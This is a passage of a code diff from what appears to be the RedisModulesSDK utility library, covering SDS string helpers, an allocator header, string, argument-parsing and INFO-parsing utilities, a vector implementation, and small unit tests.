unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len += inc;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len += inc;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len += inc;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len += inc;
break;
}
}
/* sdsalloc() = sdsavail() + sdslen() */
static inline size_t sdsalloc(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->alloc;
case SDS_TYPE_16:
return SDS_HDR(16,s)->alloc;
case SDS_TYPE_32:
return SDS_HDR(32,s)->alloc;
case SDS_TYPE_64:
return SDS_HDR(64,s)->alloc;
}
return 0;
}
static inline void sdssetalloc(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
/* Nothing to do, this type has no total allocation info. */
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->alloc = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->alloc = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->alloc = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->alloc = newlen;
break;
}
}
sds sdsnewlen(const void *init, size_t initlen);
sds sdsnew(const char *init);
sds sdsempty(void);
sds sdsdup(const sds s);
void sdsfree(sds s);
sds sdsgrowzero(sds s, size_t len);
sds sdscatlen(sds s, const void *t, size_t len);
sds sdscat(sds s, const char *t);
sds sdscatsds(sds s, const sds t);
sds sdscpylen(sds s, const char *t, size_t len);
sds sdscpy(sds s, const char *t);
sds sdscatvprintf(sds s, const char *fmt, va_list ap);
#ifdef __GNUC__
sds sdscatprintf(sds s, const char *fmt, ...)
__attribute__((format(printf, 2, 3)));
#else
sds sdscatprintf(sds s, const char *fmt, ...);
#endif
sds sdscatfmt(sds s, char const *fmt, ...);
sds sdstrim(sds s, const char *cset);
void sdsrange(sds s, int start, int end);
void sdsupdatelen(sds s);
void sdsclear(sds s);
int sdscmp(const sds s1, const sds s2);
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
void sdsfreesplitres(sds *tokens, int count);
void sdstolower(sds s);
void sdstoupper(sds s);
sds sdsfromlonglong(long long value);
sds sdscatrepr(sds s, const char *p, size_t len);
sds *sdssplitargs(const char *line, int *argc);
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
sds sdsjoin(char **argv, int argc, char *sep);
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
/* Low level functions exposed to the user API */
sds sdsMakeRoomFor(sds s, size_t addlen);
void sdsIncrLen(sds s, int incr);
sds sdsRemoveFreeSpace(sds s);
size_t sdsAllocSize(sds s);
void *sdsAllocPtr(sds s);
/* Export the allocator used by SDS to the program using SDS.
* Sometimes the program SDS is linked to, may use a different set of
* allocators, but may want to allocate or free things that SDS will
* respectively free or allocate. */
void *sds_malloc(size_t size);
void *sds_realloc(void *ptr, size_t size);
void sds_free(void *ptr);
#ifdef REDIS_TEST
int sdsTest(int argc, char *argv[]);
#endif
#endif
+47
View File
@@ -0,0 +1,47 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/* SDS allocator selection.
*
* This file is used in order to change the SDS allocator at compile time.
* Just define the following defines to what you want to use. Also add
* the include of your alternate allocator if needed (not needed in order
* to use the default libc allocator). */
#if defined(__MACH__)
#include <stdlib.h>
#else
#include <malloc.h>
#endif
//#include "zmalloc.h"
#define s_malloc malloc
#define s_realloc realloc
#define s_free free
+81
View File
@@ -0,0 +1,81 @@
#include <string.h>
#include <sys/param.h>
#include <ctype.h>
#include "strings.h"
#include "alloc.h"
#include "sds.h"
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...) {
// sds s = sdsempty();
// va_list ap;
// va_start(ap, fmt);
// s = sdscatvprintf(s, fmt, ap);
// va_end(ap);
// RedisModuleString *ret = RedisModule_CreateString(ctx, (const char *)s, sdslen(s));
// sdsfree(s);
// return ret;
// }
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2) {
const char *c1, *c2;
size_t l1, l2;
c1 = RedisModule_StringPtrLen(s1, &l1);
c2 = RedisModule_StringPtrLen(s2, &l2);
if (l1 != l2) return 0;
return strncmp(c1, c2, l1) == 0;
}
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncmp(c1, s2, l1) == 0;
}
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2) {
const char *c1;
size_t l1, l2 = strlen(s2);
c1 = RedisModule_StringPtrLen(s1, &l1);
if (l1 != l2) return 0;
return strncasecmp(c1, s2, l1) == 0;
}
void RMUtil_StringToLower(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = tolower(*c);
++c;
}
}
void RMUtil_StringToUpper(RedisModuleString *s) {
size_t l;
char *c = (char *)RedisModule_StringPtrLen(s, &l);
size_t i;
for (i = 0; i < l; i++) {
*c = toupper(*c);
++c;
}
}
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options) {
for (size_t ii = 0; ii < n; ++ii) {
const char *p = RedisModule_StringPtrLen(rs[ii], NULL);
if (options & RMUTIL_STRINGCONVERT_COPY) {
p = strdup(p);
}
ss[ii] = p;
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __RMUTIL_STRINGS_H__
#define __RMUTIL_STRINGS_H__
#include <redismodule.h>
/*
* Create a new RedisModuleString object from a printf-style format and arguments.
* Note that RedisModuleString objects CANNOT be used as formatting arguments.
*/
// DEPRECATED since it was added to the RedisModule API. Replaced with a macro below
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...);
#define RMUtil_CreateFormattedString RedisModule_CreateStringPrintf
/* Return 1 if the two strings are equal. Case *sensitive* */
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *sensitive* */
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2);
/* Return 1 if the string is equal to a C NULL terminated string. Case *insensitive* */
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2);
/* Converts a redis string to lowercase in place without reallocating anything */
void RMUtil_StringToLower(RedisModuleString *s);
/* Converts a redis string to uppercase in place without reallocating anything */
void RMUtil_StringToUpper(RedisModuleString *s);
// If set, copy the strings using strdup rather than simply storing pointers.
#define RMUTIL_STRINGCONVERT_COPY 1
/**
* Convert one or more RedisModuleString objects into `const char*`.
* Both rs and ss are arrays, and should be of <n> length.
* Options may be 0 or `RMUTIL_STRINGCONVERT_COPY`
*/
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options);
#endif
+69
View File
@@ -0,0 +1,69 @@
#ifndef __TESTUTIL_H__
#define __TESTUTIL_H__
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
static int numTests = 0;
static int numAsserts = 0;
#define TESTFUNC(f) \
printf(" Testing %s\t\t", __STRING(f)); \
numTests++; \
fflush(stdout); \
if (f()) { \
printf(" %s FAILED!\n", __STRING(f)); \
exit(1); \
} else \
printf("[PASS]\n");
#define ASSERTM(expr, ...) \
if (!(expr)) { \
fprintf(stderr, "%s:%d: Assertion '%s' Failed: " __VA_ARGS__ "\n", __FILE__, __LINE__, \
__STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT(expr) \
if (!(expr)) { \
fprintf(stderr, "%s:%d Assertion '%s' Failed\n", __FILE__, __LINE__, __STRING(expr)); \
return -1; \
} \
numAsserts++;
#define ASSERT_STRING_EQ(s1, s2) ASSERT(!strcmp(s1, s2));
#define ASSERT_EQUAL(x, y, ...) \
if (x != y) { \
fprintf(stderr, "%s:%d: ", __FILE__, __LINE__); \
fprintf(stderr, "%g != %g: " __VA_ARGS__ "\n", (double)x, (double)y); \
return -1; \
} \
numAsserts++;
#define FAIL(fmt, ...) \
{ \
fprintf(stderr, "%s:%d: FAIL: " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
return -1; \
}
#define RETURN_TEST_SUCCESS return 0;
#define TEST_CASE(x, block) \
int x { \
block; \
return 0 \
}
#define PRINT_TEST_SUMMARY printf("\nTotal: %d tests and %d assertions OK\n", numTests, numAsserts);
#define TEST_MAIN(body) \
int main(int argc, char **argv) { \
printf("Starting Test '%s'...\n", argv[0]); \
body; \
PRINT_TEST_SUMMARY; \
printf("\n--------------------\n\n"); \
return 0; \
}
#endif
+38
View File
@@ -0,0 +1,38 @@
#include <stdio.h>
#include "heap.h"
#include "assert.h"
int cmp(void *a, void *b) {
int *__a = (int *) a;
int *__b = (int *) b;
return *__a - *__b;
}
int main(int argc, char **argv) {
int myints[] = {10, 20, 30, 5, 15};
Vector *v = NewVector(int, 5);
for (int i = 0; i < 5; i++) {
Vector_Push(v, myints[i]);
}
Make_Heap(v, 0, v->top, cmp);
int n;
Vector_Get(v, 0, &n);
assert(30 == n);
Heap_Pop(v, 0, v->top, cmp);
v->top = 4;
Vector_Get(v, 0, &n);
assert(20 == n);
Vector_Push(v, 99);
Heap_Push(v, 0, v->top, cmp);
Vector_Get(v, 0, &n);
assert(99 == n);
Vector_Free(v);
printf("PASS!\n");
return 0;
}
@@ -0,0 +1,26 @@
#include <stdio.h>
#include <redismodule.h>
#include <unistd.h>
#include "periodic.h"
#include "assert.h"
#include "test.h"
void timerCb(RedisModuleCtx *ctx, void *p) {
int *x = p;
(*x)++;
}
int testPeriodic() {
int x = 0;
struct RMUtilTimer *tm = RMUtil_NewPeriodicTimer(
timerCb, NULL, &x, (struct timespec){.tv_sec = 0, .tv_nsec = 10000000});
sleep(1);
ASSERT_EQUAL(0, RMUtilTimer_Terminate(tm));
ASSERT(x > 0);
ASSERT(x <= 100);
return 0;
}
TEST_MAIN({ TESTFUNC(testPeriodic); });
@@ -0,0 +1,37 @@
#include <stdio.h>
#include "assert.h"
#include "priority_queue.h"
int cmp(void* i1, void* i2) {
int *__i1 = (int*) i1;
int *__i2 = (int*) i2;
return *__i1 - *__i2;
}
int main(int argc, char **argv) {
PriorityQueue *pq = NewPriorityQueue(int, 10, cmp);
assert(0 == Priority_Queue_Size(pq));
for (int i = 0; i < 5; i++) {
Priority_Queue_Push(pq, i);
}
assert(5 == Priority_Queue_Size(pq));
Priority_Queue_Pop(pq);
assert(4 == Priority_Queue_Size(pq));
Priority_Queue_Push(pq, 10);
Priority_Queue_Push(pq, 20);
Priority_Queue_Push(pq, 15);
int n;
Priority_Queue_Top(pq, &n);
assert(20 == n);
Priority_Queue_Pop(pq);
Priority_Queue_Top(pq, &n);
assert(15 == n);
Priority_Queue_Free(pq);
printf("PASS!\n");
return 0;
}
+67
View File
@@ -0,0 +1,67 @@
#ifndef __TEST_UTIL_H__
#define __TEST_UTIL_H__
#include "util.h"
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#define RMUtil_Test(f) \
if (argc < 2 || RMUtil_ArgExists(__STRING(f), argv, argc, 1)) { \
int rc = f(ctx); \
if (rc != REDISMODULE_OK) { \
RedisModule_ReplyWithError(ctx, "Test " __STRING(f) " FAILED"); \
return REDISMODULE_ERR;\
}\
}
#define RMUtil_Assert(expr) if (!(expr)) { fprintf (stderr, "Assertion '%s' Failed\n", __STRING(expr)); return REDISMODULE_ERR; }
#define RMUtil_AssertReplyEquals(rep, cstr) RMUtil_Assert( \
RMUtil_StringEquals(RedisModule_CreateStringFromCallReply(rep), RedisModule_CreateString(ctx, cstr, strlen(cstr))) \
)
#
/**
* Create an arg list to pass to a redis command handler manually, based on the format in fmt.
* The accepted format specifiers are:
* c - for null terminated c strings
* s - for RedisModuleString* objects
* l - for longs
*
* Example: RMUtil_MakeArgs(ctx, &argc, "clc", "hello", 1337, "world");
*
* Returns an array of RedisModuleString pointers. The size of the array is store in argcp
*/
RedisModuleString **RMUtil_MakeArgs(RedisModuleCtx *ctx, int *argcp, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
RedisModuleString **argv = calloc(strlen(fmt), sizeof(RedisModuleString*));
int argc = 0;
const char *p = fmt;
while(*p) {
if (*p == 'c') {
char *cstr = va_arg(ap,char*);
argv[argc++] = RedisModule_CreateString(ctx, cstr, strlen(cstr));
} else if (*p == 's') {
argv[argc++] = va_arg(ap,void*);;
} else if (*p == 'l') {
long ll = va_arg(ap,long long);
argv[argc++] = RedisModule_CreateStringFromLongLong(ctx, ll);
} else {
goto fmterr;
}
p++;
}
*argcp = argc;
return argv;
fmterr:
free(argv);
return NULL;
}
#endif
+58
View File
@@ -0,0 +1,58 @@
#include "vector.h"
#include <stdio.h>
#include "test.h"
int testVector() {
Vector *v = NewVector(int, 1);
ASSERT(v != NULL);
// Vector_Put(v, 0, 1);
// Vector_Put(v, 1, 3);
for (int i = 0; i < 10; i++) {
Vector_Push(v, i);
}
ASSERT_EQUAL(10, Vector_Size(v));
ASSERT_EQUAL(16, Vector_Cap(v));
for (int i = 0; i < Vector_Size(v); i++) {
int n;
int rc = Vector_Get(v, i, &n);
ASSERT_EQUAL(1, rc);
// printf("%d %d\n", rc, n);
ASSERT_EQUAL(n, i);
}
Vector_Free(v);
v = NewVector(char *, 0);
int N = 4;
char *strings[4] = {"hello", "world", "foo", "bar"};
for (int i = 0; i < N; i++) {
Vector_Push(v, strings[i]);
}
ASSERT_EQUAL(N, Vector_Size(v));
ASSERT(Vector_Cap(v) >= N);
for (int i = 0; i < Vector_Size(v); i++) {
char *x;
int rc = Vector_Get(v, i, &x);
ASSERT_EQUAL(1, rc);
ASSERT_STRING_EQ(x, strings[i]);
}
int rc = Vector_Get(v, 100, NULL);
ASSERT_EQUAL(0, rc);
Vector_Free(v);
return 0;
// Vector_Push(v, "hello");
// Vector_Push(v, "world");
// char *x = NULL;
// int rc = Vector_Getx(v, 0, &x);
// printf("rc: %d got %s\n", rc, x);
}
TEST_MAIN({ TESTFUNC(testVector); });
+299
View File
@@ -0,0 +1,299 @@
#include <stdlib.h>
#include <errno.h>
#include <math.h>
#include <ctype.h>
#include <sys/time.h>
#include <stdarg.h>
#include <limits.h>
#include <string.h>
#define REDISMODULE_EXPERIMENTAL_API
#include <redismodule.h>
#include "util.h"
/**
Check if an argument exists in an argument list (argv,argc), starting at offset.
@return 0 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset) {
size_t larg = strlen(arg);
for (; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return 0;
}
/**
Check if an argument exists in an argument list (argv,argc)
@return -1 if it doesn't exist, otherwise the offset it exists in
*/
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc) {
size_t larg = strlen(arg);
for (int offset = 0; offset < argc; offset++) {
size_t l;
const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
if (l != larg) continue;
if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
return offset;
}
}
return -1;
}
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx) {
RedisModuleCallReply *r = RedisModule_Call(ctx, "INFO", "c", "all");
if (r == NULL || RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) {
return NULL;
}
int cap = 100; // rough estimate of info lines
RMUtilInfo *info = malloc(sizeof(RMUtilInfo));
info->entries = calloc(cap, sizeof(RMUtilInfoEntry));
int i = 0;
size_t sz;
char *text = (char *)RedisModule_CallReplyStringPtr(r, &sz);
char *line = text;
while (line && line < text + sz) {
char *line = strsep(&text, "\r\n");
if (line == NULL) break;
if (!(*line >= 'a' && *line <= 'z')) { // skip non entry lines
continue;
}
char *key = strsep(&line, ":");
info->entries[i].key = strdup(key);
info->entries[i].val = strdup(line);
i++;
if (i >= cap) {
cap *= 2;
info->entries = realloc(info->entries, cap * sizeof(RMUtilInfoEntry));
}
}
info->numEntries = i;
RedisModule_FreeCallReply(r);
return info;
}
void RMUtilRedisInfo_Free(RMUtilInfo *info) {
for (int i = 0; i < info->numEntries; i++) {
free(info->entries[i].key);
free(info->entries[i].val);
}
free(info->entries);
free(info);
}
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
return 0;
}
*val = strtoll(p, NULL, 10);
if ((errno == ERANGE && (*val == LONG_MAX || *val == LONG_MIN)) || (errno != 0 && *val == 0)) {
*val = -1;
return 0;
}
return 1;
}
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str) {
int i;
for (i = 0; i < info->numEntries; i++) {
if (!strcmp(key, info->entries[i].key)) {
*str = info->entries[i].val;
return 1;
}
}
return 0;
}
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d) {
const char *p = NULL;
if (!RMUtilInfo_GetString(info, key, &p)) {
printf("not found %s\n", key);
return 0;
}
*d = strtod(p, NULL);
if ((errno == ERANGE && (*d == HUGE_VAL || *d == -HUGE_VAL)) || (errno != 0 && *d == 0)) {
return 0;
}
return 1;
}
/*
c -- pointer to a Null terminated C string pointer.
b -- pointer to a C buffer, followed by pointer to a size_t for its length
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, offset, fmt, ap);
va_end(ap);
return rc;
}
// Internal function that parses arguments based on the format described above
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap) {
int i = offset;
char *c = (char *)fmt;
while (*c && i < argc) {
// read c string
if (*c == 'c') {
char **p = va_arg(ap, char **);
*p = (char *)RedisModule_StringPtrLen(argv[i], NULL);
} else if (*c == 'b') {
char **p = va_arg(ap, char **);
size_t *len = va_arg(ap, size_t *);
*p = (char *)RedisModule_StringPtrLen(argv[i], len);
} else if (*c == 's') { // read redis string
RedisModuleString **s = va_arg(ap, void *);
*s = argv[i];
} else if (*c == 'l') { // read long
long long *l = va_arg(ap, long long *);
if (RedisModule_StringToLongLong(argv[i], l) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == 'd') { // read double
double *d = va_arg(ap, double *);
if (RedisModule_StringToDouble(argv[i], d) != REDISMODULE_OK) {
return REDISMODULE_ERR;
}
} else if (*c == '*') { // skip current arg
// do nothing
} else {
return REDISMODULE_ERR; // WAT?
}
c++;
i++;
}
// if the format is longer than argc, retun an error
if (*c != 0) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...) {
int pos = RMUtil_ArgIndex(token, argv, argc);
if (pos < 0) {
return REDISMODULE_ERR;
}
va_list ap;
va_start(ap, fmt);
int rc = rmutil_vparseArgs(argv, argc, pos + 1, fmt, ap);
va_end(ap);
return rc;
}
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path) {
if (rep == NULL) return NULL;
RedisModuleCallReply *ele = rep;
const char *s = path;
char *e;
long idx;
do {
errno = 0;
idx = strtol(s, &e, 10);
if ((errno == ERANGE && (idx == LONG_MAX || idx == LONG_MIN)) || (errno != 0 && idx == 0) ||
(REDISMODULE_REPLY_ARRAY != RedisModule_CallReplyType(ele)) || (s == e)) {
ele = NULL;
break;
}
s = e;
ele = RedisModule_CallReplyArrayElement(ele, idx - 1);
} while ((ele != NULL) && (*e != '\0'));
return ele;
}
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out) {
if (key == NULL) {
return RMUTIL_VALUE_MISSING;
}
int keytype = RedisModule_KeyType(key);
if (keytype == REDISMODULE_KEYTYPE_EMPTY) {
return RMUTIL_VALUE_EMPTY;
} else if (keytype == REDISMODULE_KEYTYPE_MODULE && RedisModule_ModuleTypeGetType(key) == type) {
*out = RedisModule_ModuleTypeGetValue(key);
return RMUTIL_VALUE_OK;
} else {
return RMUTIL_VALUE_MISMATCH;
}
}
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs) {
if (offset > argc) {
return NULL;
}
argv += offset;
argc -= offset;
int ix = RMUtil_ArgIndex(keyword, argv, argc);
if (ix < 0) {
return NULL;
} else if (ix >= argc - 1) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
argv += (ix + 1);
argc -= (ix + 1);
long long n = 0;
RMUtil_ParseArgs(argv, argc, 0, "l", &n);
if (n > argc - 1 || n < 0) {
*nargs = RMUTIL_VARARGS_BADARG;
return argv;
}
*nargs = n;
return argv + 1;
}
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value) {
RedisModuleCtx *ctx = RedisModule_GetThreadSafeContext(NULL);
RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", key);
if (rep != NULL && RedisModule_CallReplyType(rep) == REDISMODULE_REPLY_STRING) {
size_t n;
const char *s = RedisModule_CallReplyStringPtr(rep, &n);
RedisModule_EmitAOF(aof, "RESTORE", "slb", key, 0, s, n);
} else {
RedisModule_Log(RedisModule_GetContextFromIO(aof), "warning", "Failed to emit AOF");
}
if (rep != NULL) {
RedisModule_FreeCallReply(rep);
}
RedisModule_FreeThreadSafeContext(ctx);
}
+149
View File
@@ -0,0 +1,149 @@
#ifndef __UTIL_H__
#define __UTIL_H__
#include <redismodule.h>
#include <stdarg.h>
/// make sure the response is not NULL or an error, and if it is sends the error to the client and
/// exit the current function
#define RMUTIL_ASSERT_NOERROR(ctx, r) \
if (r == NULL) { \
return RedisModule_ReplyWithError(ctx, "ERR reply is NULL"); \
} else if (RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) { \
RedisModule_ReplyWithCallReply(ctx, r); \
return REDISMODULE_ERR; \
}
#define __rmutil_register_cmd(ctx, cmd, f, mode) \
if (RedisModule_CreateCommand(ctx, cmd, f, mode, 1, 1, 1) == REDISMODULE_ERR) \
return REDISMODULE_ERR;
#define RMUtil_RegisterReadCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "readonly")
#define RMUtil_RegisterWriteCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "write")
/* RedisModule utilities. */
/** DEPRECATED: Return the offset of an arg if it exists in the arg list, or 0 if it's not there */
int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset);
/* Same as argExists but returns -1 if not found. Use this, RMUtil_ArgExists is kept for backwards
compatibility. */
int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc);
/**
Automatically conver the arg list to corresponding variable pointers according to a given format.
You pass it the command arg list and count, the starting offset, a parsing format, and pointers to
the variables.
The format is a string consisting of the following identifiers:
c -- pointer to a Null terminated C string pointer.
s -- pointer to a RedisModuleString
l -- pointer to Long long integer.
d -- pointer to a Double
* -- do not parse this argument at all
Example: If I want to parse args[1], args[2] as a long long and double, I do:
double d;
long long l;
RMUtil_ParseArgs(argv, argc, 1, "ld", &l, &d);
*/
int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...);
/**
Same as RMUtil_ParseArgs, but only parses the arguments after `token`, if it was found.
This is useful for optional stuff like [LIMIT [offset] [limit]]
*/
int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
...);
int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap);
#define RMUTIL_VARARGS_BADARG ((size_t)-1)
/**
* Parse arguments in the form of KEYWORD {len} {arg} .. {arg}_len.
* If keyword is present, returns the position within `argv` containing the arguments.
* Returns NULL if the keyword is not found.
* If a parse error has occurred, `nargs` is set to RMUTIL_VARARGS_BADARG, but
* the return value is not NULL.
*/
RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
const char *keyword, size_t *nargs);
/**
* Default implementation of an AoF rewrite function that simply calls DUMP/RESTORE
* internally. To use this function, pass it as the .aof_rewrite value in
* RedisModuleTypeMethods
*/
void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value);
// A single key/value entry in a redis info map
typedef struct {
char *key;
char *val;
} RMUtilInfoEntry;
// Representation of INFO command response, as a list of k/v pairs
typedef struct {
RMUtilInfoEntry *entries;
int numEntries;
} RMUtilInfo;
/**
* Get redis INFO result and parse it as RMUtilInfo.
* Returns NULL if something goes wrong.
* The resulting object needs to be freed with RMUtilRedisInfo_Free
*/
RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx);
/**
* Free an RMUtilInfo object and its entries
*/
void RMUtilRedisInfo_Free(RMUtilInfo *info);
/**
* Get an integer value from an info object. Returns 1 if the value was found and
* is an integer, 0 otherwise. the value is placed in 'val'
*/
int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val);
/**
* Get a string value from an info object. The value is placed in str.
* Returns 1 if the key was found, 0 if not
*/
int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str);
/**
* Get a double value from an info object. Returns 1 if the value was found and is
* a correctly formatted double, 0 otherwise. the value is placed in 'd'
*/
int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d);
/*
* Returns a call reply array's element given by a space-delimited path. E.g.,
* the path "1 2 3" will return the 3rd element from the 2 element of the 1st
* element from an array (or NULL if not found)
*/
RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
const char *path);
/**
* Extract the module type from an opened key.
*/
typedef enum {
RMUTIL_VALUE_OK = 0,
RMUTIL_VALUE_MISSING,
RMUTIL_VALUE_EMPTY,
RMUTIL_VALUE_MISMATCH
} RMUtil_TryGetValueStatus;
/**
* Tries to extract the module-specific type from the value.
* @param key an opened key (may be null)
* @param type the pointer to the type to match to
* @param[out] out if the value is present, will be set to it.
* @return a value in the @ref RMUtil_TryGetValueStatus enum.
*/
int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out);
#endif
+88
View File
@@ -0,0 +1,88 @@
#include "vector.h"
#include <stdio.h>
inline int __vector_PushPtr(Vector *v, void *elem) {
if (v->top == v->cap) {
Vector_Resize(v, v->cap ? v->cap * 2 : 1);
}
__vector_PutPtr(v, v->top, elem);
return v->top;
}
inline int Vector_Get(Vector *v, size_t pos, void *ptr) {
// return 0 if pos is out of bounds
if (pos >= v->top) {
return 0;
}
memcpy(ptr, v->data + (pos * v->elemSize), v->elemSize);
return 1;
}
/* Get the element at the end of the vector, decreasing the size by one */
inline int Vector_Pop(Vector *v, void *ptr) {
if (v->top > 0) {
if (ptr != NULL) {
Vector_Get(v, v->top - 1, ptr);
}
v->top--;
return 1;
}
return 0;
}
inline int __vector_PutPtr(Vector *v, size_t pos, void *elem) {
// resize if pos is out of bounds
if (pos >= v->cap) {
Vector_Resize(v, pos + 1);
}
if (elem) {
memcpy(v->data + pos * v->elemSize, elem, v->elemSize);
} else {
memset(v->data + pos * v->elemSize, 0, v->elemSize);
}
// move the end offset to pos if we grew
if (pos >= v->top) {
v->top = pos + 1;
}
return 1;
}
int Vector_Resize(Vector *v, size_t newcap) {
int oldcap = v->cap;
v->cap = newcap;
v->data = realloc(v->data, v->cap * v->elemSize);
// If we grew:
// put all zeros at the newly realloc'd part of the vector
if (newcap > oldcap) {
int offset = oldcap * v->elemSize;
memset(v->data + offset, 0, v->cap * v->elemSize - offset);
}
return v->cap;
}
